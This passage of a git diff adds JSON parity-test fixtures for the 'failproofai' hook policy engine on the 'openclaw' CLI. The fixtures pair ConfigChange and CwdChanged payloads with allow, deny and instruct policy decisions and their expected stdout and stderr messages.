&a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7a3cbe4a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6371437d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c5d9b77a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d4bab47c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..312d514e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..867235bf --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..bde1f047 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1ba03df7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2c2eab2b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f589816b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..930d7af9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..37c7e415 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1f0ce7a6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a66d0a0a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a83a5d2b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5151f572 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b6e5b1f3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..60098e25 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ 